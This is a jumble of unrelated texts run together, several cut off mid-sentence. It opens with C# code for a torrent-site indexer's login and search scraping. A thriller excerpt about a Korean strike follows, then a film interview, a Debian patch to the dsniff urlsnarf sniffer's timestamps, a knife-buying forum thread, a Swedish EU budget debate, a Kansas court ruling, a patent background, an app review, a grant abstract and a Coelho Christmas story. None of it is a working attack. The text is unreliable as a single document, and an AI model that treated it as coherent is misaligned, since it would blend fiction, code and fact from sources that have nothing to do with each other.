LoginResultDocument.QuerySelector("input[name=\"cap_sid\"]"); cap_sid = sidfield.GetAttribute("value"); } else { configData.CaptchaImage.Value = null; } return configData; } public override async Task<IndexerConfigurationStatus> ApplyConfiguration(JToken configJson) { LoadValuesFromJson(configJson); var pairs = new Dictionary<string, string> { { "login_username", configData.Username.Value }, { "login_password", configData.Password.Value }, { "login", "Login" } }; if (!string.IsNullOrWhiteSpace(cap_sid)) { pairs.Add("cap_sid", cap_sid); pairs.Add(cap_code_field, configData.CaptchaText.Value); cap_sid = null; cap_code_field = null; } var result = await RequestLoginAndFollowRedirect(LoginUrl, pairs, CookieHeader, true, null, LoginUrl, true); await ConfigureIfOK(result.Cookies, result.ContentString!= null && result.ContentString.Contains("Вы зашли как:"), () => { logger.Debug(result.ContentString); var errorMessage = "Unknown error message, please report"; var LoginResultParser = new HtmlParser(); var LoginResultDocument = LoginResultParser.ParseDocument(result.ContentString); var errormsg = LoginResultDocument.QuerySelector("h4[class=\"warnColor1 tCenter mrg_16\"]"); if (errormsg!= null) errorMessage = errormsg.TextContent; throw new ExceptionWithConfigData(errorMessage, configData); }); return IndexerConfigurationStatus.RequiresTesting; } protected override async Task<IEnumerable<ReleaseInfo>> PerformQuery(TorznabQuery query) { var releases = new List<ReleaseInfo>(); var searchString = query.SanitizedSearchTerm; var queryCollection = new NameValueCollection(); // if the search string is empty use the getnew view if (string.IsNullOrWhiteSpace(searchString)) { queryCollection.Add("nm", searchString); } else // use the normal search { searchString = searchString.Replace("-", " "); queryCollection.Add("nm", searchString); } var searchUrl = SearchUrl + "?" + queryCollection.GetQueryString(); var results = await RequestWithCookiesAsync(searchUrl); if (!results.ContentString.Contains("Вы зашли как:")) { // re login await ApplyConfiguration(null); results = await RequestWithCookiesAsync(searchUrl); } try { var RowsSelector = "table#tor-tbl > tbody > tr"; var SearchResultParser = new HtmlParser(); var SearchResultDocument = SearchResultParser.ParseDocument(results.ContentString); var Rows = SearchResultDocument.QuerySelectorAll(RowsSelector); foreach (var Row in Rows) { try { var qDownloadLink = Row.QuerySelector("a.tr-dl"); if (qDownloadLink == null) // Expects moderation continue; var qForumLink = Row.QuerySelector("a.f"); var qDetailsLink = Row.QuerySelector("a.tLink"); var qSize = Row.QuerySelector("td:nth-child(6) u"); var link = new Uri(SiteLink + "forum/" + qDetailsLink.GetAttribute("href")); var seederString = Row.QuerySelector("td:nth-child(7) b").TextContent; var seeders = string.IsNullOrWhiteSpace(seederString)? 0 : ParseUtil.CoerceInt(seederString); var timestr = Row.QuerySelector("td:nth-child(10) u").TextContent; var forum = qForumLink; var forumid = forum.GetAttribute("href").Split('=')[1]; var title = configData.StripRussianLetters.Value ? s_StripRussianRegex.Replace(qDetailsLink.TextContent, "") : qDetailsLink.TextContent; var size = ReleaseInfo.GetBytes(qSize.TextContent); var leechers = ParseUtil.CoerceInt(Row.QuerySelector("td:nth-child(8)").TextContent); var grabs = ParseUtil.CoerceLong(Row.QuerySelector("td:nth-child(9)").TextContent); var publishDate = DateTimeUtil.UnixTimestampToDateTime(long.Parse(timestr)); var release = new ReleaseInfo { MinimumRatio = 1, MinimumSeedTime = 0, Title = title, Comments = link, Description = qForumLink.TextContent, Link = link, Guid = link, Size = size, Seeders = seeders, Peers = leechers + seeders, Grabs = grabs, PublishDate = publishDate, Category = MapTrackerCatToNewznab(forumid), DownloadVolumeFactor = 1, UploadVolumeFactor = 1 }; releases.Add(release); } catch (Exception ex) { logger.Error(string.Format("{0}: Error while parsing row '{1}':\n\n{2}", Id, Row.OuterHtml, ex)); } } } catch (Exception ex) { OnParseError(results.ContentString, ex); } return releases; } // referer link support public override async Task<byte[]> Download(Uri link) { var downloadlink = link; var response = await RequestWithCookiesAsync(link.ToString()); var results = response.ContentString; var SearchResultParser = new HtmlParser();
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745, 247, 3522, 14, 2606, 1387, 285, 247, 25175, 10501, 1080, 15, 187, 187, 27898, 16082, 41948, 8, 310, 253, 9734, 326, 247, 5680, 8411, 556, 816, 5866, 937, 4214, 4913, 5544, 15, 17169, 35854, 757, 8 ]	tell you," said a new voice. And Kwon Ki-chae, the president of South Korea, entered the room. He ordered the soldiers to lower their weapons and leave; General Park remained. Vice President Whiting raised the still-active phone to her lips. "I'll call you back, Bob." "What in hell's going on there, Ellen?" "President Kwon and General Park want to have an urgent parley with me, in private. I'll call you back." "Urgent parley" was a code phrase for "The situation here is tense; have help standing by." She pushed a button on the phone, closed it, and slipped it into an inside jacket pocket. General Park issued some instructions by radio in Korean and then turned to Whiting. "All wireless communications from this facility will be jammed now, Madam Vice President," he said. "It is for our protection." It was obvious he knew that the Vice President had activated a function on the phone that kept the line open and transmitted a locator signal. "Jamming our locator signal could be considered a hostile action, General," Whiting said evenly. "Discussing activities inside our country's most secret command and control facility with the Central Intelligence Agency could also be considered a hostile act," General Park said. "As you Americans might say, that makes us even stephen." "Please be seated," President Kwon said, motioning to a chair. He gave Park an order, and the Air Force general immediately unbuckled his holster and handed the weapon over to Special Agent Law. "I promise, we mean you no harm." Law immediately went over to the door and tried it, keeping both Kwon and Park covered with her mini-Uzi; it was locked. "So we _are_ your prisoners," Whiting said. "We can't communicate, and we can't leave." "You will be free to leave in a very short time," President Kwon said. "But first I invite you to watch history in the making, unfolding right before your eyes." "What are you talking about?" "May I?" Kwon asked, motioning to the large windows overlooking the command center to indicate to Law where he was going to move. He went over to the windows with Whiting. General Park took a seat behind the communications console. "The culmination of years of planning, a year of intense preparation, months of espionage and infiltration work, and hundreds of billions of won. The expense almost bankrupted us, especially with the financial downturn throughout Asia in recent years. We lost many fine men and women to the Communists, on both sides of the DMZ. We are about to witness the fruits of their sacrifice." "Mr. President, what's going on?" Whiting asked. "What are you planning to do?" General Park said something in Korean, and Kwon nodded with a broad smile and what sounded to her like a muttered prayer. "Our first units are approaching the coastline," Kwon told Whiting. "The Eleventh Patrol Squadron out of Inchon has the honor of leading the attack. Their call sign is 'Namu.' The counterjammer aircraft will be inbound sixty seconds later. Their call sign is 'Pokpo.'" _"Attack?"_ Admiral Allen exploded. "What attack? You mean the exercise attack?" "The Eleventh is an S-2 Tracker maritime patrol unit, flying one of the slowest and most vulnerable planes in our inventory," General Park said. "However, these planes have been modified as tactical jamming aircraft. They will shut down all of the Communists' search radars between Haeju and Kaesong. They are being followed by F-16KCJ aircraft carrying HARM antiradar missiles. Any Communist radar that attempts to counter the jamming will be destroyed. A similar attack is commencing from the west toward Nampo and Pyongyang itself, from the east toward Hamhung and Hungnam, and from the south at Kimchaek and Ch'ongjin." "This is crazy! This is suicide!" Vice President Whiting exclaimed. "Won't the North Koreans see those planes coming or see the jamming on their scopes and warn the rest of their defenses? They might start a retaliatory strike the second they notice all this happening. They might be starting an attack of their own at this very second!" "In fact, Madam Vice President," General Park said, "the Communists issued the first attack warning over fifteen minutes ago." _"What?"_ "It is virtually impossible to fly anywhere within two hundred miles of North Korea without some Communist radar site detecting you, whatever your altitude," General Park said calmly. "The Communists start tracking our aircraft almost from the moment they are launched. When our planes were within ten minutes' flying time of their airspace—the amount of time it takes the slowest North Korean fighter pilot to get off the ground—the early-warning radar sites issued a warning to all other air defense sites throughout North Korea. The warning was relayed to the Military Command and Coordination Facility at Sunan, near Pyongyang." "But if the North Koreans know you're coming, _why in heaven's name are you doing this?_ " "Because, Madam Vice President," President Kwon replied, "the North Korean Central Command Facility issued instructions to all installations to continue to monitor the aircraft but to take no further action. They then issued an 'ops-normal' message to military headquarters in Pyongyang." "How do you know that?" "Because, madam, it was a United Republic of Korea officer who issued those orders. Or, to be more precise, a North Korean patriot, working together with South Korean military assistance officers. The North Korean military command and control headquarters at Sunan, such as it is, belongs to North Korean patriots who desire nothing else but the reunification of the peninsula under a free, democratic government. They have decided to shut down the Communists' military machine and allow us to assist them in destroying the most dangerous elements of it." At that moment a Klaxon went off in the observation room, and red revolving lights started blinking everywhere. On the public-address system they heard: "For Namu Two-Five, for Namu Two-Five, and for Pokpo Three-Eight, for Pokpo Three-Eight, this is Airedale, Hot Dog Hot Dog Hot Dog. Turn to heading one-five-zero immediately. Acknowledge." Both General Park and President Kwon started to chuckle. "I have always thought that was very amusing," Kwon said. Whiting stared at him. Total chaos was breaking out in the command center, and these two men were laughing through it! "The code words you Americans invent for serious situations such as this are very comical. What a refreshing sense of humor you people have." "What is going on?" "Perhaps you do not know what this Hot Dog message means?" Kwon was surprised. "How little you know of the things you have put in place in our country that we rely on every day for our lives and our freedom. The Hot Dog warning is issued whenever an aircraft violates the Buffer Zone. It is supposed to warn our aircraft of unintentional overflight. 'Airedale' is the senior American battle director, whom you met down below in the command center. "The warning is actually issued quite frequently, usually due to radar anomalies, jamming or decoying by the Communists, or by accident—an overzealous pilot, a new pilot trying to find landmarks, or one who is distracted from his work. Many innocent causes. The North calls them all preludes to war and declarations of war and demands an apology and reparations. Such demands are ignored, of course." They heard the Hot Dog call repeated many times, with several more call signs. Then there was a commotion on the floor of the command center, and they saw South Korean soldiers enter and head for several of the American officers and technicians. "What's going on down there, President Kwon?" Ellen Whiting asked. "I demand to know." "The American officers in charge of protecting and directing air traffic in South Korea are obviously upset because they issued a command to the South Korean pilots heading toward North Korea, and our officers would do nothing to stop them," General Park answered for Kwon. "They are being restrained before they can call for any American aircraft to scramble to try to stop them." "They're hurting them, for God's sake!" Law protested. There were at least three South Korean soldiers around each of the Americans, who were struggling to free themselves. "Do not worry, Madam Vice President," President Kwon said, reading Whiting's thoughts. "As you can see, none of my soldiers down there are armed with anything more than batons. We have no intention of hurting any of your people. They are only trying to do their jobs." A few scuffles broke out, but the Americans were quickly hustled out and replaced by Korean technicians. In a matter of minutes, the only Americans left were in the observation area. A few moments later the Klaxon sounded again. This time they heard: "Jack Rabbit, Jack Rabbit, Jack Rabbit, this is Guardian on Guard. All aircraft evacuate P-518 immediately." The controller then read off a date-time group and a coded authenticator. "'Jack Rabbit' is the warning that a border violation has just occurred," General Park explained. "'Guardian'
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5703, 398, 323, 7532, 47675, 39356, 31417, 13, 5002, 313, 23375, 495, 13, 4748, 10, 1905, 2398, 39702, 313, 1322, 3871, 35572, 27 ]	Something she thinks was an "astute decision" because it opened up debate. "The film is about the discussions people have when they leave the cinema and having a woman in that role allows you to make that discussion," she said. "As opposed to saying 'well that's men, that's what men do in war'... I think Gavin very astutely understood and realised putting a woman [in the role] just changed the discussion." Real time mission The film follows the decision making process almost in real time as the mission turns from a "capture" to a "kill" operation as Colonel Powell realises that the terrorists are about to embark on a suicide bombing mission. The debate becomes more complicated when a nine-year-old girl selling bread enters the kill zone. Image copyright Keith Bernstein Image caption Alan Rickman's character has to deal with politicians and the attorney general as they try to decide on the legalities and moral choices in the mission Also involved in the decision making is British Lieutenant-General Frank Benson played by Alan Rickman in his last on-screen role. Dame Helen and Rickman did not act in any scenes together, but she said they had spoken about why they wanted to appear in the film. "For him like me he wasn't doing it to play this wonderful role that 'ooh I might win an award with that role' - they're not those sorts of roles at all - both of us wanted to do it because of the nature of the film," she said. The actress said she thinks the movie is a fitting tribute to him. "I don't want it to be his last film, he left us much, much too early. It would've been wonderful to see his next 20 years of performances but I think it's a great way to say goodbye to him. "Because I think it's a film that would appeal to his intelligence, his humanity - I'm sure why he did it in the first place." Eye in the Sky is released on 15 April in the UK.Author: Hilko Bengen <bengen@debian.org> Description: urlsnarf: use timestamps from pcap file if available. Closes: #573365 Index: dsniff-2.4b1+debian/urlsnarf.c =================================================================== --- a/urlsnarf.c +++ b/urlsnarf.c @@ -57,7 +57,7 @@ { static char tstr[32], sign; struct tm t, gmt; - time_t tt = time(NULL); + time_t tt = nids_last_pcap_header->ts.tv_sec; int days, hours, tz, len; gmt = gmtime(&tt); You are currently viewing our boards as a guest, which gives you limited access to view most discussions and access our other features. By joining our free community, you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content, and access many other special features. In addition, registered members also see less advertisements. Registration is fast, simple, and absolutely free, so please, join our community today! I'm looking for a new kitchen knife. I was looking at the Shun Fuji Chef or something simular. Right now I have a 6" chef knife and a Santuko but I wanted to get a bit higher grade knive for everyday use in my home kitchen. Can you recommend some good sharp multi purpose kitchen knives. My price rannge is a bit flexible but I would rather stay below $500. Q: Do you know how to sharpen?A: Not sure if I really know how to sharpen. I have a Gatco sharpening system I use for my hunting knives and kitchen knives but I also take my kitchen knives to a local sharpener every couple of years. I've used a stone in past for pocket knives. Q: Do you like to rock the knife or push cut primarily?A: I think I primary push cut but I rock the knife as well. Q: Do you want a stainless knife?A: I handwash my knives but don't know enough if I want stainless versus some other material. Q: Do you want to get a western handled knife or Japanese handle?A: I think I want to try a Japanese handle. Q: How much did you want to spend?A: Under $500. $200 range is easy to budget but for a quality knife to last a lifetime I'm willing to spend more. All three suggestions look good. I really like the look of the Takeda but I'm not sure about the 240mm length. Is the 240mm length more difficult to learn to work with, for a novice, than the 210mm length? I'm curious about the different metal choices. White #1 vs #2 vs Aogami super steel. Is there a link or post that will help describe the differences? taz575 Post subject: Re: Step up from a Shun. Posted: Sat Dec 15, 2012 3:38 pm Forum Moderator Joined: Thu Apr 26, 2012 5:13 pmPosts: 3057Location: CT Aogami Super generally tends to be the better of those steels; holds an edge well, sharpens fairly easily and takes a wicked edge. White will take a bit finer of an edge than Blue, but the Blue will hold a slightly less sharp edge for longer than the White steels, and have a hair more resistance to staining. Of course, this is assuming a spot on heat treating that is correct for each steel, how the knife is going to be used (sushi vs chefs knife, etc) and the geometry. The #'s mean the carbon content, #1 has the highest, #2 is lower, #3 etc is lower still. Between White and Blue, most people can't tell the difference. Aogami Super is a nice steel, but generally costs more. All of those are nice steels and since they are carbon, will react to foods being cut until a good patina sets in. If you use them, wash and thoroughly dry them and you won't have rust issues. I dry with a regular towel, and then a paper towel to make sure no moisture is left on the blade. I like a 240mm and find it more useful, but I do use a 210 occasionally when I am not cutting as much or the stuff being cut is smaller. Takeda's normal 240mm gyuto's are very tall, though! White #1, #2, #3 Blue #1 #2 and Aogami Super are all made by Hitachi steel mill and are popular steels for knives. As Tim said there are slight differences in carbon content so as you move from white to blue you get a little more carbon for better hardness but also less toughness. The trick is to get a knife that is a good blend of hardness so it will hold an edge and toughness so it won't chip or crack and is more durable. For example glass is super hard but has no toughness so it's a bad choice for a kitchen knife. Lead is very tough but also makes a bad knife since it won't hold an edge (and it's toxic). The 240mm size is a little big for people that don't like to use a knife often but it's ideal for people that love to cook. The more you work with the knife the more you will appreciate the larger size. That said, we sell more 210s than 240s to my customers. Takeda's knives are made more slowly and with a little greater care. His shop has 3-4 guys and the only produce about 7-8 knives a day. Moritaka's shop is more prolific which is partly why their knives are less money. They're both good but I like Takeda's gyutos better (tall and thin) and I like Mortakas sujis better (thicker and stiffer and not bendable). Who is online Users browsing this forum: No registered users and 2 guests You cannot post new topics in this forumYou cannot reply to topics in this forumYou cannot edit your posts in this forumYou cannot delete your posts in this forumYou cannot post attachments in this forumQ: Spring JavaMailSenderImpl Sending Mail from localhost I'm using tomcat 7 and Spring 3.0.5 and I'm trying to send email using JavaMailSenderImpl. In order to send mail from my own computer (localhost). I'm able to send email on the real server using the below host/port, but not my local pc. Any ideas? JavaMailSenderImpl sender = new JavaMailSenderImpl(); sender.setHost("localhost"); sender.setPort(25); A: In order to send an email your Spring client need to connect to an SMTP server (http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol). If you don't run an SMTP server on localhost the above code will never work. Marvell and E Ink Join Forces to Deliver a Radical New Generation of eReaders Marvell and E Ink Join Forces to Deliver a Radical New Generation of Faster, Lower Power Ultra Thin eReaders for Mass MarketsSanta Clara, California (November 3, 2009) — Marvell (NASDAQ:
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En annan fråga som har tagits upp i år igen är mekanismen för flexibilitet. En mekanism med 200 miljoner euro som nu i en kompromiss med rådet anslås för bistånd till Balkanområdet. Kollega Colom i Naval anmärker helt riktigt att användandet av den här flexibilitetsmekanismen på det här sättet gör att det ursprungliga målet missas helt, nämligen oförutsedda budgetbehov. Jag undrar ärligt talat om han också skulle ha sagt det om den här mekanismen på samma oegentliga sätt hade använts för Meda, vilket parlamentet hade föreslagit. Under den första behandlingen av budgeten yttrade jag nämligen den kritiken, men jag kan inte påminna mig hans bifall. Naturligtvis är jag inte emot bistånd till Balkan. Unionen som ett samarbetsförbund av nationella stater, född genom behovet av fred i Europa, har en hedersplikt att finansiera freds- och försoningsprocessen i Balkan. Jag tycker dock att biståndsbehovet först måste inventeras vid en sådan omfattande operation innan man öppnar portmonnän. Den iver som kommissionen och parlamentet visar för att ge ett hav av bistånd till Balkan står i skarp kontrast till det minskade stödet till kandidatländerna. Herr talman! Måhända måste vi för budgeten år 2002 redan nu reservera flexibilitetsmekanismen för kandidatländerna. Helt oförutsett skulle de möjligen vilja ansluta sig till unionen redan tidigare. Ilgenfritz Herr talman, mina damer och herrar! När budgeten ställdes upp tog man hänsyn till principerna sparsamhet, social och ekonomisk balans. Det bör vi tacka föredragandena för. Det är också bra att de små och medelstora företagen, som huvudarbetsgivare, får extra medel till förfogande. Därigenom skapas nya arbetstillfällen, och kampen mot arbetslösheten fortsätter. Vi känner också till att ändringsskrivelse nr 2 från kommissionen antagits. Enligt den kan cirka 900 miljoner sparas in under budgetrubrik 1. Men det torde inte längre vara möjligt att anta den. För det första har under mellantiden eurons värde förbättrats, varigenom också besparingspotentialen kommer att minska. Dessutom kan man redan nu utgå från att de i budgeten avsatta medlen för att komma till rätta med BSE-krisen inte kommer att räcka. Det kommer därför att bli absolut nödvändigt att anta en tilläggsbudget, varigenom återigen besparingspotentialen under denna budgetrubrik kommer att minska starkt, om inte helt. Costa Neves Herr talman, fru kommissionär! Jag vill börja med att gratulera vår kollega och föredragande, Jutta Haug, som genom sitt arbetssätt har bidragit mycket till det konstruktiva arbetsklimat som har rått i utskottet och i parlamentet i allmänhet. Genom omröstningen efter denna debatt avslutas det långa och komplicerade förfarandet för att godkänna Europeiska unionens budget för 2001. Detta resultat av intensiva förhandlingar och successiva kompromisser mellan de olika institutionerna, innehåller de rimliga förutsättningarna för att kunna godkännas. Jag skulle dock vilja betona några aspekter inför kommande år. Budgeten utgör, i betalningsbemyndiganden, endast 1,056 procent av gemenskapens BNP. I budgetplanen förutsågs för 2001 1,11 procent, för att inte tala om de 1,27 procenten som diskuterades för några år sedan. Dessutom antas fortfarande fleråriga program för det externa samarbetet, skillnaden mellan åtagandebemyndiganden och betalningsbemyndiganden fortsätter att växa, vissa program genomförs fortfarande i liten skala eller på ett dåligt sätt, vissa betalningsbemyndiganden försenas på ett omotiverat och ohållbart sätt och parlamentet har stött på redan genomförda projekt med betydelse för budgeten. Även om det nu inte finns någon lösning nu på den första aspekten som gäller BNP, och även om jag är säker på att parlamentet, när det gäller den andra, kommer att visa prov på ståndaktighet vid framtida tillfällen, så skulle jag vilja säga, när det gäller den tredje aspekten som jag har pekat på, att enligt min mening är den stora nyheten i budgetförfarandet för de närmaste åren, det avtal man uppnådde mellan parlamentet och rådet om att kommissionen skall utarbeta en rapport fram till den 30 juni 2001 som skall underställas de två första institutionerna och som skall gå igenom uppnådda framsteg på en rad viktiga områden, såsom minskningen av det som återstår att genomföra - anslag som ännu inte har utnyttjats -, förenklingen av projektplaneringen, ett bättre genomförande av programmen, översyn av kommittéförfarandet, reformering av kommissionen, fastställandet och utförandet av de mål som uppställts frö genomförande, främst för det externa samarbetet, och en så komplett information från parlamentet som möjligt på flera områden. Om en sådan rapport inte blir mer än bara ett uppfyllande av en formalitet, är förväntningarna på detta nya steg som många av oss har, motiverade. Wynn . (EN) Herr talman! Ibland har vi låtit som en förening för ömsesidig beundran på det sätt som vi gratulerar varandra för detta. Jag skall kanske avvika något från den trenden beträffande rådet - inte nödvändigtvis det franska ordförandeskapet - utan rådet i allmänhet. Låt oss inte lura oss själva, detta är en bra budget. Det är inte den budget som jag och många av mina kolleger skulle ha önskat. Men vi kan vara nöjda med den. I fotbollstermer är det lika med oavgjort l-1. Men på grund av flexibilitetsinstrumentet tror vi att vi har vunnit straffsparken. Kommissionens ursprungliga förslag till en revidering av budgetplanen om att föra över 300 miljoner euro från budgetrubrik 1 till budgetrubrik 4 var en utmärkt idé: värd att stödja och i högsta grad förnuftig. Tyvärr var majoriteten av mina kolleger inte överens med mig och därför kunde vi inte gå med på det. Inte heller fanns det en kvalificerad majoritet inom denna kammare att återgå till artikel 272. Därför måste vi hitta en lösning inom de möjligheter som den interinstitutionella avtal ger oss så att vi kan få en ordentlig budget. Det är vad vi har gjort: vi har undvikit en budgetkris genom att använda artikel 272; budgetplanen har behållits även om vi har använt flexibilitetsinstrumentet. Resultatet är det bästa vi kan hoppas på utan vare sig en revidering eller artikel 272. Colom i Naval uttalade sig i morse eftersom det var otvetydigt för dem av oss som var närvarande när man kom överens
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8427, 970, 3882, 7011, 432, 4127, 33795, 1341, 13, 390, 432, 4127, 33795, 894, 15935, 15, 3512, 8070, 15075, 588, 320, 4845, 327, 18918, 253, 4917, 273, 2710, 3882, 4865, 4375 ]	conduct is not proscribed by UFTA. The argument was not set out in the pretrial order or otherwise raised below and appears for the first time on appeal. Issues not raised before the trial court cannot be raised on appeal. Lindsey v. Miami County National Bank, 267 Kan. 685, 690, 984 P.2d 719 (1999.) Finally, we consider Shore's K.S.A. 33-208(a) defense that transfers to persons who took in good faith and for a reasonably equivalent value are not voidable. Under issues of fact relating to Shore's defense, the pretrial order said: "During the period from April 1, 1999, to July 31, 1999, did the defendant Shore have reasonable cause to believe that Allen Quality Foods, Inc. and/or Central Processors, Inc. were insolvent?" McCain argues that Shore did not preserve the defense he now asserts on appeal because the agreed-to pretrial order only preserved Shore's knowledge about insolvency as an issue of fact. We agree. "The purpose of the pretrial conference... is to eliminate the element of surprise from trials and to simplify the issues and procedure by full disclosure to all parties of the anticipated evidence, and factual and legal issues, and to consider `[s]uch other matters as may aid in the disposition of the action.' [K.S.A. 2001 Supp. 60-216(c)(7)]." Burkhart v. Philsco Products Co., 241 Kan. 562, 570, 738 P.2d 433 (1987). The pretrial order under K.S.A. 2001 Supp. 60-216(e) controls the course of the action unless modified to prevent *19 manifest injustice. See Herbstreith v. de Bakker, 249 Kan. 67, 75-76, 815 P.2d 102 (1991). An issue or claim for relief that is not contained in the pretrial order should not be entertained by the trial court. See Kleibrink v. Missouri-Kansas-Texas Railroad Co., 224 Kan. 437, 442, 581 P.2d 372 (1978). In passing, we note the trial court observed: "[A]s the Allen/Central ship was sinking, Shore inflated the companies' only life raft and saved himself, leaving remaining creditors to drown." After hearing the evidence and observing the witnesses' demeanor, the trial court was convinced that McCain had proved its claim under K.S.A. 33-204(a)(1) by clear and convincing evidence. Simply put, the trier of fact did not believe Shore's story. Affirmed. 1. Field of the Invention The present invention relates to curable compositions based on elastomeric chlorinated polyethylene containing a polymercapto compound such as 2,5-dimercapto-1,3,4-thiadiazole, aliphatic polyhydroxy compounds, an inorganic acid acceptor and a quaternary phosphonium salt, or a quaternary ammonium salt, or an amine. 2. Prior Art U.S. Pat. No. 4,288,576 discloses crosslinking chlorinated polyethylene using 2,5-dimercapto-1,3,4-thiadiazole and certain basic materials such as amines. U.S. Pat. No. 4,524,185 discloses the use of 2,5-dimercapto-1,3,4-thiadiazole to improve the properties of halogen-containing elastomers. U.S. Pat. No. 4,551,505 discloses the crosslinking of chlorinated polyethylene with 2,5-dimercapto-1,3,4-thiadiazole in the presence of a basic substance. Japanese patent application Publication No. 57-149357 discloses a vulcanizable composition comprising a chlorine containing polymer, sulfur and/or a sulfur donor, a polyhydric hydroxyl compound, a quaternary ammonium salt and/or quaternary phosphonium salt and calcium hydroxide. Japanese patent application Publication No. 59-227946 discloses a vulcanizable composition comprising a halogen-containing polymer; 2,3-dimercapto pyrazine; 2,3-dimercapto quinoxaline or derivatives thereof; a quaternary ammonium salt and/or a quaternary phosphonium salt; and an inorganic acid acceptor compound.You might not come across many caricaturists in your lifetime. On vacation or in tourist spots, you can likely sit down with an artist and have them draw you in 10 minutes, but these experiences are not regular occurrences and are usually pretty expensive. When we’ve all got thousands of photos of ourselves and our loved ones at our fingertips, why would we need to sit still in front of gathering onlookers in order to get our faces drawn? Photolamus is a caricature service that aims to bring artists and customers together in this increasingly digital world. Using Photolamus is simple. Through the company’s Android app (as well as Web, iOS and Mac interfaces), simply submit your photo, select the desired style and receive your caricature in digital form in 1-5 days. Prices vary based on the number of people present in the provided photo, the style chosen and the required turnaround time. Styles range from black and white pencil, to full-color digital drawings, with a broad number of themes from Vacation to Sports to Halloween to Professions or a straight-up regular caricature. All Photolamaus’s caricatures are 100% hand-drawn by artists across the globe — it isn’t simply an app that just applies gawky effects to your images. There are no computer-generated images involved — these are real caricatures from real artists. And the results are truly excellent. You can check out some of Photolamus’s artists’ recent works at the company’s website or within the app, but if you don’t believe those, check out the Halloween themed caricatures provided of my photo below. These were returned to me within 24 hours of submitting my photo to Photolamus which is a truly impressive turnaround. The quick turnaround makes them ideal as gifts and their digital delivery means you are not waiting (or paying) for a physical package to arrive at your door. Photolamus does not offer printed versions — if you submit your image in the Android app, you’ll receive the finished version there too — and instead provides high-res caricatures in digital form. The 4,000px by 4,0000px resultant image is owned by you and can be used in whatever form you want — from your Twitter avatar or Facebook profile pic to being self-printed on canvas (up to 100cm by 100cm without loss in quality). The Android app itself is fairly plain in terms of design, but it makes it easy to upload your photo (by taking new, adding from the Gallery, or from Facebook, Twitter, Google+, Instagram, Flickr or VK) and place an order with your desired theme. There’s no way to preview the result and no free trial — the artist has to draw it, after all — which may disappoint some users. However, the artists — like you, no doubt — can’t work for free. The app is translated into a slew of languages meaning it can be used all around the world and there are regular opportunities to win discounts and prizes through the app. To coincide with the review here at Android and Me, Photolamus has dropped the prices of its caricatures to provide our readers with some sweet deals: The prices are affordable and, having seen the results, are worth every penny in my opinion. Being hand-drawn, the results are unique to each order and, if you’re willing to pay a little extra, you can have the caricature back within one day which makes for a great last minute gift. Adam is Reviews Editor for PhoneDog, Android and Me and Today's iPhone. A Media and Communications graduate from Newcastle University in the UK, Adam is a Bradford City FC fanatic and self-confessed tech-nerd. You can follow him on Twitter: @adamoram.The primary goal of the proposed research is to determine the biological significance of various DNA reaction sites of the antitumor drug, cis dichlorodiammine platinum. Initial studies will be confined to measuring the template activity of platinum treated polynucleotides, and DNA having varying G-C mole % in an assay system employing mammalian DNA polymerase alpha, beta and gamma. The RB-50, the amount of bound platinum required to decrease template activity by 50% per molecule of a given molecular weight (measured by sedimentation analysis) will be evaluated for each template. Comparison of the RB-50's of the polynucleotides and in DNA with varying G-C mole % will establish which DNA reactions most significantly lead to template inactivation. The trans isomer, which is a toxic, inactive analogue, will be studied to determine why antitumor activity resides only in the cis configuration. To evaluate the possible contribution of bifunctional reactions DNA to template inactivation, the effects of the monofunctional compound, (diethylenetriamine chloroplatinum) chloride will also be investigated. At the same time, the reaction products of platinum treated polynucleotides and DNA will be analyzed, the effects of platinum on the circular dichroism and the thermal denaturation will be determined, and experiments will be performed to test the hypothesis that cis-Pt(II) creates interstrand cross-links between opposite and adjacent adenines in DNA. The in vitro experiments are only a prelude to the same measurements in vivo using DNA isolated from treated HeLa cells, or from treated HeLa cell nuclei. Particular emphasis will be placed on analyzing the yield of various DNA binding sites
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337, 4726, 187, 187, 32486, 3423, 4412, 1621, 15, 337, 4726, 310, 247, 14464, 2143, 3652, 4441, 387, 15859, 39225, 275, 14389, 339, 2184, 3928, 13, 1457, 2816, 15, 733, 369, 4270, 275, 1283, 1976, 13 ]	and shrinkage cost the dairy, and whether it’s worth buying a covered bin. Yes, Foster concluded from the data. “It’s another case where writing things down comes to fruition.” Foster’s collection of spreadsheets includes: • an income over feed cost spreadsheet that tracks feed costs based on feed value, feed costs cwt. and per lb. of component, milk price and income over feed costs. • a fuel log listing each piece of equipment by number, gallons of fuel used, number of hours on the vehicle, and which enterprise has used it. • a spreadsheet for calf feeding, showing how changes in feed affect growth weight. “Our goal is to freshen by 22 months, or 80% of mature body weight,” Foster said. “As long as the feed program gets it there, we’re doing OK.” To track everything pertaining to cows, from milk production to calving weights, Foster uses PCDart herd management software, also immensely useful in translating data into Excel to make management decisions. For instance, by tracking the cost per cow of feed ingredients and components, Foster can tell if the dairy is getting its money’s worth. “It tells me if additives work and how much I’m paying to get each pound of protein and butterfat,” Foster said. “Is the digestibility too low? Fiber too high? What do I need to add for ingredients to make up for it?” It takes Foster roughly 20 hours a month to do the recordkeeping and accounting. For now, he enters the numbers himself. “I understand the numbers a lot better if I input them myself, although some day I will probably get someone else to do that.” Manipulating the raw data is one thing; getting the data is another. Foster provides paper charts for all tasks, making it easy for employees to fill in when, for example, they treat a calf. “The rule at Foster Bros. Dairy is: If you do anything to a cow, write it down. I’ll decide later on whether to use it or not,” he said. It’s a tradeoff, though. “How much do you want to force guys to record stuff, or do you want to get the crop in?” Once the data is in the computer, however, leave it to Foster to make the most of it.Pages Wednesday, December 22, 2010 Christmas Tale Paulo Coelho - India Paulo Coelho, the creator of The Alchemist and other inspiring books, is sending me a Christmas Story on every Christmas. This year too, a very touching story of human virtues, has been sent by him. It is here for you too. Thank you, Lawyer Asad Rio de Janeiro, December 15, 2010 Dear Reader, As a way of thanking you for the continued support throughout 2010, and in maintaining with the tradition of years past, I am sending along a Christmas story that I wrote for my column, which has been published in many newspapers around the world. May the universe conspire in ways that all your wishes for 2011 are realized. Paulo Coelho The Pine Tree of St. Martin As the parish priest of a little village called St Martin in the French Pyrenees was getting ready to celebrate Mass one Christmas Eve, he began to smell a wonderful fragrance. It was winter, and the flowers had disappeared a long time before, yet there was the pleasant smell of springtime floating through the air. Intrigued, he decided to go outside and look where the smell was coming from and across a young boy sitting in front of the school door. Next to him was a golden Christmas tree. "What a beautiful tree!" said the vicar to the boy, "It seems to have touched the sky, and it gives off such a delightful scent! It's made of pure gold! Where did you find it?" The young man looked up at the priest, seemingly unhappy with what had been said. "Truth is, the longer it took 